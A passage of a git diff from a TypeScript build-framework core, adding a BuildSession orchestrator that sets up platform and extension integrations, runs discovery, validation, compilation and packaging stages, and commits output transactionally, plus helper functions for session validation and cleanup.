BuildSession orchestrator。 */ +import type { + IntegrationDescription, +} from '../contracts/integrations.js'; +import type { + BuildMode, + ConfigCommand, + ResolvedConfigSummary, +} from '../contracts/config.js'; +import type { + BuildReport, + ExtensionReport, + PlatformReport, +} from '../contracts/reports.js'; +import type { CanonicalProject } from '../contracts/components.js'; +import type { PackageUnitSnapshot } from '../contracts/packages.js'; +import type { ProjectRunOptions } from '../contracts/project.js'; +import { commitPackageUnits } from '../output/transaction.js'; +import { CompatibilityRegistry } from '../package/compatibility.js'; +import { createBuildReport } from '../package/report-builder.js'; +import { discoverCanonicalProject } from '../resources/canonical/provider.js'; +import { + buildExtension, + discoverExtension, + preflightExtensionConsumers, + validateExtension, + type BuiltExtensionState, + type ExtensionConsumerPlan, +} from '../resources/extensions.js'; +import { assembleProjectGraph } from '../resources/project-graph.js'; +import { discoverPublicResources } from '../resources/public.js'; +import { ResourceRegistry } from '../resources/registry.js'; +import { + buildNodeRuntime, + discoverNodeRuntime, + platformSupportsNodeRuntime, + type BuiltNodeRuntime, +} from '../resources/runtime/provider.js'; +import type { ResolvedKernelConfig, ResolvedPlatform } from '../config/resolver.js'; +import { compareCodePoints } from '../security/path-policy.js'; +import type { WatchSnapshot } from '../services/watch.js'; +import { + createKernelBuildEnvironment, + disposeKernelBuildEnvironment, + type KernelBuildEnvironment, +} from './build-environment.js'; + +export { + createKernelBuildEnvironment, + disposeKernelBuildEnvironment, + type KernelBuildEnvironment, +} from './build-environment.js'; + +/** Kernel one-shot 执行所需的内部输入。 */ +export interface KernelBuildSessionInput { + readonly config: ResolvedKernelConfig; + readonly frameworkVersion: string; + readonly selection?: readonly string[]; + readonly commit: boolean; + /** 配置加载阶段已经创建的 Session 服务;省略时由本函数完整拥有。 */ + readonly environment?: KernelBuildEnvironment; +} + +/** 内部执行结果为 DevSession 保留安全 Watch snapshot。 */ +export interface KernelBuildSessionResult { + readonly report: BuildReport; + readonly watch: WatchSnapshot; +} + +import { + closeIntegrations, + extensionDescription, + extensionSession, + hasMatchingError, + platformDescription, + platformHasErrors, + platformSession, + projectHasErrors, + reportFailure, + selectPlatforms, + type ExtensionPlanBuildStatus, + type ExtensionRuntime, + type InitializedIntegration, + type PlatformRuntime, +} from './integration-sessions.js'; +import { runPlatformPipeline, validateCompleteMaterialization } from './platform-pipeline.js'; + +/** 建立 Component 的稳定报告列表。 */ +function componentReports(project: CanonicalProject): BuildReport['components'] { + return Object.freeze([...project.commands, ...project.skills, ...project.agents].map(component => Object.freeze({ + kind: component.kind, + id: component.id, + location: Object.freeze({ path: component.location.path, line: component.location.bodyLine }), + }))); +} + +/** + * 执行 Kernel v2 唯一 one-shot BuildSession state machine。 + * + * @param input 已解析配置、选择和事务控制。 + * @returns immutable BuildReport 及 Dev 使用的 Watch snapshot。 + */ +export async function runKernelBuildSession(input: KernelBuildSessionInput): Promise { + /** environment 是否由本次 direct Core 调用创建并负责释放。 */ + const ownEnvironment = input.environment === undefined; + /** 配置 loader 传入的 environment 保证 Config 与 Build 共用一组 Host。 */ + const environment = input.environment ?? await createKernelBuildEnvironment(input.config.projectRoot); + /** 所有 Host/Registry 只从当前唯一 environment 取得。 */ + const { assets, compiler, diagnostics, execution, modules, sources, watch, workDirectories } = environment; + /** 所有报告集合先以空状态存在,确保任一 Kernel 阶段失败仍可形成报告。 */ + let project: CanonicalProject = Object.freeze({ + metadata: input.config.metadata, + commands: Object.freeze([]), skills: Object.freeze([]), agents: Object.freeze([]), publicFiles: Object.freeze([]), + }); + /** setup 成功即压栈,最终只通过 closeIntegrations 消费。 */ + const initialized: InitializedIntegration[] = []; + /** 选中 Platform 在 setup 前完成纯选择校验。 */ + let selected: readonly ResolvedPlatform[] = Object.freeze([]); + /** selection 失败属于唯一阻止 Integration setup 的 config 前置错误。 */ + let selectionValid = true; + /** setup 成功的平台与扩展运行时。 */ + const platforms: PlatformRuntime[] = []; + /** Extension 运行时保持配置顺序。 */ + const extensions: ExtensionRuntime[] = []; + /** Extension 各阶段报告状态。 */ + const extensionReports = new Map(); + /** validated consumer plans 和 built state 在所有 Platform 间共享。 */ + const plans: ExtensionConsumerPlan[] = []; + /** Built State 不允许由其他 Extension 读取。 */ + const built: BuiltExtensionState[] = []; + /** 每个 plan 的 skipped/built/failed 状态阻止 missing State 被误归为 Platform failure。 */ + const planBuilds: ExtensionPlanBuildStatus[] = []; + /** Runtime Built State 只由 Framework contribution 读取。 */ + let builtRuntime: BuiltNodeRuntime | undefined; + /** 完成 primary/distribution candidate 校验的最终 Units。 */ + const units: PackageUnitSnapshot[] = []; + /** 报告中精确标记 validated candidate 的 Unit key。 */ + const validatedPackages = new Set(); + /** 每个 Platform 是否完成全部 package stages。 */ + const platformSucceeded = new Set(); + /** Compatibility Registry 必须等 Project Graph 固定后再创建。 */ + let compatibility: ReturnType = Object.freeze({ compatibility: Object.freeze([]), metadata: Object.freeze([]) }); + /** committed 只在 transaction afterSwap close 全部成功后变为 true。 */ + let committed = false; + /** 防止 commit afterSwap 和 finally cleanup 重复关闭。 */ + let integrationsClosed = false; + + try { + try { + selected = selectPlatforms(input.config, input.selection); + } catch { + selectionValid = false; + reportFailure(diagnostics, 'config', 'PLATFORM_SELECTION_INVALID', 'Selected Platforms are invalid.'); + } + /** integrations snapshot 在任何 factory 调用前固定。 */ + const platformDescriptions = selected.map(platformDescription); + /** Extension descriptions 与 Platform descriptions 共同形成只读 setup 视图。 */ + const extensionDescriptions = input.config.extensions.map(extensionDescription); + /** integrations 不包含 Session 或可变配置引用。 */ + const integrations: readonly IntegrationDescription[] = Object.freeze([...platformDescriptions, ...extensionDescriptions]); + /** setup Context 不暴露物理路径或 mutable config。 */ + const summary: ResolvedConfigSummary = Object.freeze({ + metadata: input.config.metadata, + command: input.config.command, + mode: input.config.mode, + strict: input.config.strict, + }); + + /** Platform Session 必须先按配置顺序逐一创建。 */ + for (const [index, resolved] of selected.entries()) { + /** description 与当前 resolved Platform 使用相同配置槽位。 */ + const description = platformDescriptions[index]!; + try { + /** session 一经 shape 校验即进入 initialized close stack。 */ + const session = platformSession(await resolved.definition.createSession(Object.freeze({ + command: input.config.command, + mode: input.config.mode, + options: resolved.definition.options ?? Object.freeze({}), + config: summary, + integrations, + })), resolved.definition.id); + platforms.push(Object.freeze({ resolved, description, session })); + initialized.push(Object.freeze({ kind: 'platform', id: resolved.definition.id, session })); + } catch { + reportFailure(diagnostics, 'setup', 'PLATFORM_SETUP_FAILED', `Platform "${resolved.definition.id}" setup failed.`, { + owner: `platform:${resolved.definition.id}`, platform: resolved.definition.id, + }); + } + } + /** Extension Session 在 Platform setup 尝试结束后按配置顺序独立创建。 */ + if (selectionValid) { + for (const [index, definition] of input.config.extensions.entries()) { + /** description 与当前 Extension 使用相同配置槽位。 */ + const description = extensionDescriptions[index]!; + try { + /** session 一经 shape 校验即进入 initialized close stack。 */ + const session = extensionSession(await definition.createSession(Object.freeze({ + command: input.config.command, + mode: input.config.mode, + options: definition.options ?? Object.freeze({}), + config: summary, + integrations, + })), definition.id); + extensions.push(Object.freeze({ definition, description, session })); + initialized.push(Object.freeze({ kind: 'extension', id: definition.id, session })); + extensionReports.set(definition.id, Object.freeze({ id: definition.id, discovered: false, subjects: Object.freeze([]) })); + } catch { + reportFailure(diagnostics, 'setup', 'EXTENSION_SETUP_FAILED', `Extension "${definition.id}" setup failed.`, { + owner: `extension:${definition.id}`, extension: definition.id, + }); + } + } + } + + if (selectionValid) { + /** Resource claims 固定 canonical/runtime/Extension root ownership。 */ + const claims = await new ResourceRegistry({ config: input.config, sources, watch, diagnostics }).claim(); + /** 独立 Resource discover 共享 registries,但不共享 mutable State。 */ + const canonicalPromise = discoverCanonicalProject({ + metadata: input.config.metadata, + platformIds: selected.map(platform => platform.definition.id), + claims, + sources, + assets, + diagnostics, + }); + /** Public Provider 与 canonical/runtime discover 并行且无共享 mutable state。 */ + const publicPromise = discoverPublicResources({ config: input.config, sources, assets, watch, diagnostics }); + /** Runtime Provider 当前只发现 framework-owned entry state。 */ + const runtimePromise = discoverNodeRuntime({ + ...(claims.runtime === undefined ? {} : { root: claims.runtime }), + config: input.config.runtime, + sources, + diagnostics, + }); + /** 每个 Extension discover 独立捕获并绑定自己的失败身份。 */ + const discoveredExtensions = extensions.map(async (runtime) => { + try { + /** discovered State 立即通过 Extension Provider 建立 owner-bound snapshot。 */ + const discovered = await discoverExtension({ + extension: runtime.definition, + session: runtime.session, + roots: claims.extensions[runtime.definition.id] ?? Object.freeze({}), + command: input.config.command, + mode: input.config.mode, + sources, + assets, + modules: modules.service(`extension:${runtime.definition.id}`), + diagnostics, + }); + /** discover 主动报告 error 与 throw 使用相同失败语义。 */ + if (hasMatchingError(diagnostics, item => item.extension === runtime.definition.id)) + return Object.freeze({ runtime, discovered: undefined }); + return Object.freeze({ runtime, discovered }); + } catch { + reportFailure(diagnostics, 'discover', 'EXTENSION_DISCOVER_FAILED', `Extension "${runtime.definition.id}" discover failed.`, { + owner: `extension:${runtime.definition.id}`, extension: runtime.definition.id, + }); + return Object.freeze({ runtime, discovered: undefined }); + } + }); + /** 聚合只按 Promise 输入槽位读取,不观察完成顺序。 */ + const [canonical, publicFiles, runtime, discovered] = await Promise.all([ + canonicalPromise, publicPromise, runtimePromise, Promise.all(discoveredExtensions), + ]); + /** 唯一 Project Graph 在全部 Resource discover 后一次性冻结。 */ + project = assembleProjectGraph(canonical, publicFiles, runtime); + + /** Stage 5 对每个 canonical Component/selected Platform 恰好调用一次 hook。 */ + const components = [...project.commands, ...project.skills, ...project.agents]; + /** 独立验证并行运行,诊断由 Registry 稳定排序。 */ + await Promise.all(platforms.flatMap(platform => components.map(async (component) => { + try { + await platform.session.validateComponent?.(Object.freeze({ + project, + component, + diagnostics: diagnostics.service('validate', { + owner: `platform:${platform.description.id}`, + platform: platform.description.id, + component: { kind: component.kind, id: component.id }, + }), + })); + } catch { + reportFailure(diagnostics, 'validate', 'PLATFORM_COMPONENT_VALIDATION_FAILED', + `Platform "${platform.description.id}" could not validate ${component.kind} "${component.id}".`, { + owner: `platform:${platform.description.id}`, + platform: platform.description.id, + component: { kind: component.kind, id: component.id }, + }); + } + }))); + + /** Extension validate 只运行实际发现了作者资源的 State。 */ + const validated = await Promise.all(discovered.map(async ({ runtime: extension, discovered: state }) => { + if (state === undefined) + return undefined; + try { + /** result 立即跨越 Extension State snapshot 与 subject contract。 */ + const result = await validateExtension({ + discovered: state, + session: extension.session, + project, + command: input.config.command, + mode: input.config.mode, + sources, + assets, + diagnostics, + }); + extensionReports.set(extension.definition.id, Object.freeze({ + id: extension.definition.id, + discovered: true, + subjects: result.subjects, + })); + if (hasMatchingError(diagnostics, diagnostic => diagnostic.extension === extension.definition.id)) + return undefined; + return Object.freeze({ runtime: extension, validated: result }); + } catch { + reportFailure(diagnostics, 'validate', 'EXTENSION_VALIDATE_FAILED', `Extension "${extension.definition.id}" validate failed.`, { + owner: `extension:${extension.definition.id}`, extension: extension.definition.id, + }); + return undefined; + } + })); + + /** consumer preflight 在 build 前固定 missing contributor/skip 语义。 */ + for (const item of validated) { + if (item === undefined) + continue; + try { + plans.push(preflightExtensionConsumers({ + validated: item.validated, + session: item.runtime.session, + platforms: platformDescriptions, + })); + } catch { + reportFailure(diagnostics, 'validate', 'EXTENSION_CONTRIBUTOR_INVALID', `Extension "${item.runtime.definition.id}" contributors are invalid.`, { + owner: `extension:${item.runtime.definition.id}`, extension: item.runtime.definition.id, + }); + } + } + + /** Stage 6 只构建拥有至少一个 consumer 的 Extension。 */ + const buildResults = await Promise.all(plans.map(async (plan) => { + if (!plan.requiresBuild) + return Object.freeze({ plan, status: 'skipped' as const }); + /** runtime 仅用于取得当前 plan 自己的 Session。 */ + const runtime = extensions.find(item => item.definition.id === plan.extension.id)!; + try { + /** result 在写入 shared built array 前保持 plan 槽位顺序。 */ + const result = await buildExtension({ + plan, + session: runtime.session, + project, + command: input.config.command, + mode: input.config.mode, + compiler: await compiler.service(`extension:${plan.extension.id}`), + execution: execution.service(`extension:${plan.extension.id}`), + assets, + sources, + diagnostics, + }); + return hasMatchingError(diagnostics, diagnostic => diagnostic.extension === plan.extension.id) || result === undefined + ? Object.freeze({ plan, status: 'failed' as const }) + : Object.freeze({ plan, status: 'built' as const, built: result }); + } catch { + reportFailure(diagnostics, 'compile', 'EXTENSION_BUILD_FAILED', `Extension "${plan.extension.id}" build failed.`, { + owner: `extension:${plan.extension.id}`, extension: plan.extension.id, + }); + return Object.freeze({ plan, status: 'failed' as const }); + } + })); + planBuilds.push(...buildResults); + built.push(...buildResults + .filter((value): value is Extract => value.status === 'built') + .map(value => value.built)); + + /** Runtime 只在至少一个选中且已 setup Platform 声明能力时编译一次。 */ + if (project.runtime !== undefined && platforms.some(platform => platformSupportsNodeRuntime(platform.description))) { + try { + builtRuntime = await buildNodeRuntime(project.runtime, await compiler.service('framework:node-runtime')); + } catch { + reportFailure(diagnostics, 'compile', 'NODE_RUNTIME_BUILD_FAILED', 'Node Runtime compilation failed.', { + owner: 'framework:node-runtime', + }); + } + } + + /** Package stages 对 selected Platforms 独立执行;报告合并按稳定键完成。 */ + const projectFailed = projectHasErrors(diagnostics); + /** packageResults 保留 Platform 配置槽位,与并发完成顺序无关。 */ + const packageResults = projectFailed + ? Object.freeze([]) + : await Promise.all(platforms.map(platform => runPlatformPipeline({ + platform, + project, + runtime: builtRuntime, + plans, + built, + planBuilds, + command: input.config.command, + mode: input.config.mode, + compiler, + assets, + workDirectories, + diagnostics, + }))); + + /** 每个 Platform 独立完成 compatibility graph,错误不抑制其他 Platform。 */ + const compatibilityEntries: typeof compatibility.compatibility[number][] = []; + /** metadata dispositions 与 compatibility 使用相同 Platform 隔离。 */ + const metadataEntries: typeof compatibility.metadata[number][] = []; + for (const result of packageResults) { + if (result === undefined) + continue; + units.push(...result.units); + for (const unit of result.units) + validatedPackages.add(`${unit.platform}/${unit.id}`); + /** id 固定当前独立 compatibility Registry 的 Platform identity。 */ + const id = result.platform.description.id; + try { + /** registry 只接收当前 Platform 的 graph,避免跨平台失败抑制。 */ + const registry = new CompatibilityRegistry({ project, diagnostics }); + registry.addCompatibility(id, result.merged.compatibility); + registry.addMetadata(id, result.merged.metadata); + /** finalized 在完整当前 Platform graph 上执行一次 strictness。 */ + const finalized = registry.finalize([Object.freeze({ id, strict: result.platform.resolved.strict })]); + compatibilityEntries.push(...finalized.compatibility); + metadataEntries.push(...finalized.metadata); + if (!platformHasErrors(diagnostics, id)) + platformSucceeded.add(id); + } catch { + reportFailure(diagnostics, 'compatibility', 'COMPATIBILITY_FINALIZATION_FAILED', + `Platform "${id}" compatibility finalization failed.`, { platform: id, owner: `platform:${id}` }); + } + } + compatibility = Object.freeze({ + compatibility: Object.freeze(compatibilityEntries), + metadata: Object.freeze(metadataEntries), + }); + /** 无 commit 或已有错误时不会进入 transaction,必须在此完成 aggregate 复核。 */ + if (!input.commit || diagnostics.hasErrors) { + try { + await validateCompleteMaterialization(units, assets, environment.workRoot); + } catch { + reportFailure(diagnostics, 'materialize', 'PACKAGE_MATERIALIZATION_FAILED', 'Complete Package materialization failed.'); + } + } + } + + /** validate/inspect 已由 Project 层强制 commit=false;错误报告也绝不进入事务。 */ + if (input.commit && !diagnostics.hasErrors) { + try { + await commitPackageUnits(input.config.outDirectory, units, assets, { + projectRoot: input.config.projectRoot, + scope: input.selection === undefined + ? Object.freeze({ type: 'full' as const }) + : Object.freeze({ type: 'subset' as const, platforms: Object.freeze(selected.map(item => item.definition.id)) }), + /** close 属于 swap 后仍可 rollback 的 commit 必要条件。 */ + afterSwap: async () => { + try { + await closeIntegrations(initialized, diagnostics, true); + } finally { + /** stack 已消费,即使 close 失败也不能在 rollback 后重复调用。 */ + integrationsClosed = true; + } + }, + }); + committed = true; + } catch { + if (!diagnostics.diagnostics.some(item => item.phase === 'cleanup')) + reportFailure(diagnostics, 'transaction', 'TRANSACTION_FAILED', 'Managed output transaction failed.'); + } + } + } catch { + reportFailure(diagnostics, 'internal', 'INTERNAL_ERROR', 'The Kernel could not complete the BuildSession.'); + } finally { + if (!integrationsClosed) { + try { + await closeIntegrations(initialized, diagnostics, false); + } catch { + /** closeIntegrations 已记录每个 cleanup failure。 */ + } + } + } + + /** Platform/Extension 未 setup 或未选中状态也必须显式出现在稳定报告。 */ + for (const extension of input.config.extensions) { + if (!extensionReports.has(extension.id)) + extensionReports.set(extension.id, Object.freeze({ id: extension.id, discovered: false, subjects: Object.freeze([]) })); + } + /** selectedIds 用于报告配置中未选 Platform 的显式状态。 */ + const selectedIds = new Set(selected.map(platform => platform.definition.id)); + /** platformReports 从配置全集稳定投影,不从成功 Unit 反推选择状态。 */ + const platformReports: PlatformReport[] = input.config.platforms.map(platform => Object.freeze({ + id: platform.definition.id, + selected: selectedIds.has(platform.definition.id), + success: platformSucceeded.has(platform.definition.id) && !diagnostics.diagnostics.some(item => item.platform === platform.definition.id && item.severity === 'error'), + packageIds: Object.freeze(units.filter(unit => unit.platform === platform.definition.id).map(unit => unit.id).sort(compareCodePoints)), + })); + /** BuildSession 成功同时要求无诊断、全部选中 Platform 成功和必要提交完成。 */ + const success = !diagnostics.hasErrors + && selected.every(platform => platformSucceeded.has(platform.definition.id)) + && (!input.commit || committed); + /** Report 必须在 capability scope 撤销和 workDir 删除前读取 Asset provenance。 */ + const report = createBuildReport({ + frameworkVersion: input.frameworkVersion, + compilerVersion: (await compiler.service('framework:report')).engine.version, + success, + command: input.config.command, + mode: input.config.mode, + committed, + components: componentReports(project), + runtimes: Object.freeze((project.runtime?.entries ?? []).map(entry => Object.freeze({ + id: entry.id, kind: entry.kind, location: Object.freeze({ path: entry.source.path }), + built: builtRuntime?.entries.some(candidate => candidate.id === entry.id) ?? false, + }))), + extensions: Object.freeze([...extensionReports.values()]), + platforms: Object.freeze(platformReports), + packages: Object.freeze(units), + validatedPackages: Object.freeze([...validatedPackages]), + compatibility: compatibility.compatibility, + metadata: compatibility.metadata, + diagnostics: diagnostics.diagnostics, + assets, + }); + /** Watch snapshot 在关闭 capability scope 前完成不可变复制。 */ + const watchSnapshot = watch.snapshot(); + if (ownEnvironment) + await disposeKernelBuildEnvironment(environment); + return Object.freeze({ report, watch: watchSnapshot }); +} + +/** Project 层规范化 one-shot command/mode/commit defaults。 */ +export function normalizeProjectRunOptions(options: ProjectRunOptions = {}): { + readonly command: Exclude; + readonly mode: BuildMode; + readonly selection?: readonly string[]; + readonly commit: boolean; +} { + /** command 缺省为唯一可提交的一次性 build。 */ + const command = options.command ?? 'build'; + if (command !== 'validate' && command !== 'inspect' && command !== 'build') + throw new TypeError('Project command must be validate, inspect or build.'); + /** mode 只进入 ConfigEnvironment,不改变 command/commit 规则。 */ + const mode = options.mode ?? 'production'; + if (mode !== 'development' && mode !== 'production') + throw new TypeError('Project mode must be development or production.'); + if (options.commit !== undefined && typeof options.commit !== 'boolean') + throw new TypeError('Project commit must be boolean.'); + return Object.freeze({ + command, + mode, + ...(options.platforms === undefined ? {} : { selection: Object.freeze([...options.platforms]) }), + commit: command === 'build' && (options.commit ?? true), + }); +} diff --git a/packages/core/src/kernel/dev-session.ts b/packages/core/src/lifecycle/dev-session.ts similarity index 99% rename from packages/core/src/kernel/dev-session.ts rename to packages/core/src/lifecycle/dev-session.ts index b60a5cc..86d3161 100644 --- a/packages/core/src/kernel/dev-session.ts +++ b/packages/core/src/lifecycle/dev-session.ts @@ -1,13 +1,16 @@ +/** DevSession 只协调重复创建唯一 BuildSession。 */ import { promises as fs } from 'node:fs'; import path from 'node:path'; import { watch, type FSWatcher } from 'chokidar'; import type { BuildReport, + Diagnostic, +} from '../contracts/reports.js'; +import type { DevSession, DevSessionEvent, - Diagnostic, ProjectDevOptions, -} from '../kernel-types.js'; +} from '../contracts/project.js'; import { createBuildReport } from '../package/report-builder.js'; import { createKernelBuildEnvironment, @@ -21,7 +24,7 @@ export interface DevSessionRoundInput { readonly projectRoot: string; readonly configFile?: string; readonly frameworkVersion: string; - readonly loadConfig: (environment: Awaited>) => Promise; + readonly loadConfig: (environment: Awaited>) => Promise; readonly options: ProjectDevOptions; readonly initialConfigError?: (error: unknown) => readonly Diagnostic[]; /** Core 单测使用的 watcher I/O 注入点;公开 Project API 不暴露。 */ diff --git a/packages/core/src/lifecycle/integration-sessions.ts b/packages/core/src/lifecycle/integration-sessions.ts new file mode 100644 index 0000000..4cc2c7d --- /dev/null +++ b/packages/core/src/lifecycle/integration-sessions.ts @@ -0,0 +1,254 @@ +import type { + AcpluginExtension, + ExtensionIntegrationDescription, + ExtensionSession, + IntegrationCloseContext, + PlatformIntegrationDescription, + PlatformSession, +} from '../contracts/integrations.js'; +import type { BuildReport } from '../contracts/reports.js'; +import type { ResolvedKernelConfig, ResolvedPlatform } from '../config/resolver.js'; +import type { BuiltExtensionState, ExtensionConsumerPlan } from '../resources/extensions.js'; +import { dataObjectFields } from '../security/data-boundary.js'; +import { compareCodePoints } from '../security/path-policy.js'; +import { sanitizeStableText } from '../security/report-safety.js'; +import { DiagnosticRegistry } from '../services/diagnostics.js'; + +/** 已完成 setup 且必须逆序关闭的 Integration。 */ +export type InitializedIntegration = { + readonly kind: 'platform'; + readonly id: string; + readonly session: PlatformSession; +} | { + readonly kind: 'extension'; + readonly id: string; + readonly session: ExtensionSession; +}; + +/** 选中 Platform 与其 setup Session。 */ +export interface PlatformRuntime { + readonly resolved: ResolvedPlatform; + readonly description: PlatformIntegrationDescription; + readonly session: PlatformSession; +} + +/** Extension definition 与其 setup Session。 */ +export interface ExtensionRuntime { + readonly definition: AcpluginExtension; + readonly description: ExtensionIntegrationDescription; + readonly session: ExtensionSession; +} + +/** 每个 validated consumer plan 的显式 build 终态。 */ +export type ExtensionPlanBuildStatus = Readonly<{ + readonly plan: ExtensionConsumerPlan; + readonly status: 'skipped' | 'failed'; +}> | Readonly<{ + readonly plan: ExtensionConsumerPlan; + readonly status: 'built'; + readonly built: BuiltExtensionState; +}>; + +/** @returns 当前 Platform 是否依赖一个已失败 Extension 的 Built State。 */ +export function platformConsumesFailedExtension( + platform: string, + builds: readonly ExtensionPlanBuildStatus[], +): boolean { + return builds.some(build => build.status === 'failed' + && build.plan.consumers.some(consumer => consumer.platform.id === platform && consumer.contributor !== undefined)); +} + +/** 生命周期内部可稳定传递的首个失败摘要。 */ +export interface FailureSummary { + readonly code: string; + readonly phase: string; + readonly message: string; +} + +/** 生命周期失败优先级用于 cleanup 摘要,不依赖并发完成或诊断字典序。 */ +const FAILURE_PHASE_ORDER = Object.freeze([ + 'config', 'setup', 'discover', 'validate', 'compile', 'package', 'contribute', 'finalize', + 'materialize', 'platform-validate', 'compatibility', 'transaction', 'cleanup', 'dev', 'internal', +] as const); + +/** @returns 当前稳定诊断集合是否包含匹配的 error。 */ +export function hasMatchingError( + diagnostics: DiagnosticRegistry, + predicate: (diagnostic: BuildReport['diagnostics'][number]) => boolean, +): boolean { + return diagnostics.diagnostics.some(diagnostic => diagnostic.severity === 'error' && predicate(diagnostic)); +} + +/** @returns 当前 Platform 是否已经在自己的 validate/package 阶段失败。 */ +export function platformHasErrors(diagnostics: DiagnosticRegistry, platform: string): boolean { + return hasMatchingError(diagnostics, diagnostic => diagnostic.platform === platform); +} + +/** @returns 不属于单一 Integration 的工程级失败是否阻止全部 Package 消费。 */ +export function projectHasErrors(diagnostics: DiagnosticRegistry): boolean { + return hasMatchingError(diagnostics, diagnostic => diagnostic.platform === undefined && diagnostic.extension === undefined); +} + +/** @returns Platform 的不可变公开身份。 */ +export function platformDescription(platform: ResolvedPlatform): PlatformIntegrationDescription { + return Object.freeze({ + kind: 'platform', + id: platform.definition.id, + apiVersion: platform.definition.apiVersion, + ...(platform.definition.options === undefined ? {} : { options: platform.definition.options }), + ...(platform.definition.capabilities === undefined ? {} : { capabilities: platform.definition.capabilities }), + }); +} + +/** @returns Extension 的不可变公开身份。 */ +export function extensionDescription(extension: AcpluginExtension): ExtensionIntegrationDescription { + return Object.freeze({ + kind: 'extension', + id: extension.id, + apiVersion: extension.apiVersion, + ...(extension.options === undefined ? {} : { options: extension.options }), + resourceRoots: extension.resourceRoots, + }); +} + +/** 解析显式 Platform subset 并保持原配置顺序。 */ +export function selectPlatforms(config: ResolvedKernelConfig, selection: readonly string[] | undefined): readonly ResolvedPlatform[] { + if (selection === undefined) + return config.platforms; + if (!Array.isArray(selection) || selection.length === 0) + throw new TypeError('Platform selection must contain at least one configured Platform.'); + /** 选择输入在任何 Session factory 运行前拒绝重复与未知 ID。 */ + const requested = [...selection]; + if (requested.some(id => typeof id !== 'string') || new Set(requested).size !== requested.length) + throw new TypeError('Platform selection must contain unique Platform ids.'); + /** configured 用于在 setup 前拒绝未知 Platform。 */ + const configured = new Set(config.platforms.map(platform => platform.definition.id)); + /** unknown 按稳定键排序后只进入内部异常,不泄露配置对象。 */ + const unknown = requested.filter(id => !configured.has(id)); + if (unknown.length > 0) + throw new TypeError(`Platform selection contains an unconfigured id: ${unknown.sort(compareCodePoints)[0]}.`); + /** 返回顺序始终使用配置顺序而非 CLI 参数顺序。 */ + const selected = new Set(requested); + return Object.freeze(config.platforms.filter(platform => selected.has(platform.definition.id))); +} + +/** 验证 Platform Session 精确方法面。 */ +export function platformSession(value: unknown, id: string): PlatformSession { + /** fields 拒绝旧生命周期方法与未知行为面。 */ + const fields = dataObjectFields(value, new Set([ + 'validateComponent', 'createPackage', 'finalizePackage', 'validatePackage', 'createDistributions', 'close', + ]), `Platform "${id}" Session`); + for (const required of ['createPackage', 'finalizePackage', 'validatePackage']) { + if (typeof fields[required]?.value !== 'function') + throw new TypeError(`Platform "${id}" Session must provide ${required}().`); + } + for (const optional of ['validateComponent', 'createDistributions', 'close']) { + if (fields[optional] !== undefined && typeof fields[optional].value !== 'function') + throw new TypeError(`Platform "${id}" Session ${optional} must be a function.`); + } + return value as PlatformSession; +} + +/** 验证 Extension Session 精确方法面。 */ +export function extensionSession(value: unknown, id: string): ExtensionSession { + /** fields 固定 Extension v2 Session 的完整方法面。 */ + const fields = dataObjectFields(value, new Set(['discover', 'validate', 'build', 'contributors', 'close']), `Extension "${id}" Session`); + for (const required of ['discover', 'validate', 'build']) { + if (typeof fields[required]?.value !== 'function') + throw new TypeError(`Extension "${id}" Session must provide ${required}().`); + } + if (!Array.isArray(fields.contributors?.value)) + throw new TypeError(`Extension "${id}" Session must provide contributors.`); + if (fields.close !== undefined && typeof fields.close.value !== 'function') + throw new TypeError(`Extension "${id}" Session close must be a function.`); + return value as ExtensionSession; +} + +/** @returns 报告与 close 共用的首个错误摘要。 */ +export function firstFailure(diagnostics: DiagnosticRegistry): FailureSummary | undefined { + /** 同阶段使用 Registry 的稳定排序,跨阶段选择最早的实际生命周期失败。 */ + const failures = diagnostics.diagnostics.filter(diagnostic => diagnostic.severity === 'error'); + /** failure 在稳定诊断顺序相同时按固定 lifecycle phase 决定。 */ + const failure = failures.sort((left, right) => FAILURE_PHASE_ORDER.indexOf(left.phase) - FAILURE_PHASE_ORDER.indexOf(right.phase))[0]; + if (failure === undefined) + return undefined; + return Object.freeze({ code: failure.code, phase: failure.phase, message: failure.message }); +} + +/** 把未预期异常收敛为不包含第三方原始错误的稳定诊断。 */ +export function reportFailure( + diagnostics: DiagnosticRegistry, + phase: Parameters[0], + code: string, + message: string, + identity: Parameters[2] = {}, +): void { + diagnostics.report(phase, { code, severity: 'error', message: sanitizeStableText(message) }, identity); +} + +/** Platform 单阶段调用的显式成功/失败联合,避免异常跨阶段重新归类。 */ +export type PlatformStageResult = Readonly<{ ok: true; value: T }> | Readonly<{ ok: false }>; + +/** + * 在一个真实 Platform 阶段边界内收敛未知异常。 + * + * @param diagnostics 当前 BuildSession 诊断集合。 + * @param phase 报告中的精确阶段。 + * @param code 当前阶段的稳定错误码。 + * @param message 不包含原始异常的稳定摘要。 + * @param platform 当前 Platform ID。 + * @param action 只执行当前阶段工作的回调。 + * @returns 带显式判别字段的阶段结果。 + */ +export async function runPlatformStage( + diagnostics: DiagnosticRegistry, + phase: Parameters[0], + code: string, + message: string, + platform: string, + action: () => T | PromiseLike, +): Promise> { + try { + return Object.freeze({ ok: true as const, value: await action() }); + } catch { + reportFailure(diagnostics, phase, code, message, { owner: `platform:${platform}`, platform }); + return Object.freeze({ ok: false as const }); + } +} + +/** 对 initialized stack 逆序恰好关闭一次并保留首次业务失败优先级。 */ +export async function closeIntegrations( + initialized: InitializedIntegration[], + diagnostics: DiagnosticRegistry, + committed: boolean, +): Promise { + /** close 上下文在 cleanup 前固定,cleanup failure 不递归传给后续 close。 */ + const failure = firstFailure(diagnostics); + /** context 不暴露原始异常或物理路径。 */ + const context: IntegrationCloseContext = Object.freeze({ + outcome: failure === undefined ? 'success' : 'failed', + committed, + ...(failure === undefined ? {} : { failure }), + }); + /** 全部已初始化 Integration 即使前一个 close 失败也必须继续关闭。 */ + let failed = false; + for (const integration of initialized.reverse()) { + try { + await integration.session.close?.(context); + } catch { + failed = true; + reportFailure( + diagnostics, + 'cleanup', + integration.kind === 'platform' ? 'PLATFORM_CLOSE_FAILED' : 'EXTENSION_CLOSE_FAILED', + `${integration.kind === 'platform' ? 'Platform' : 'Extension'} "${integration.id}" close failed.`, + integration.kind === 'platform' + ? { owner: `platform:${integration.id}`, platform: integration.id } + : { owner: `extension:${integration.id}`, extension: integration.id }, + ); + } + } + initialized.splice(0); + if (failed) + throw new Error('Integration cleanup failed.'); +} diff --git a/packages/core/src/lifecycle/platform-pipeline.ts b/packages/core/src/lifecycle/platform-pipeline.ts new file mode 100644 index 0000000..2b59d0c --- /dev/null +++ b/packages/core/src/lifecycle/platform-pipeline.ts @@ -0,0 +1,310 @@ +/** 单 Platform 的 Package、Contribution、Finalize 与 Candidate 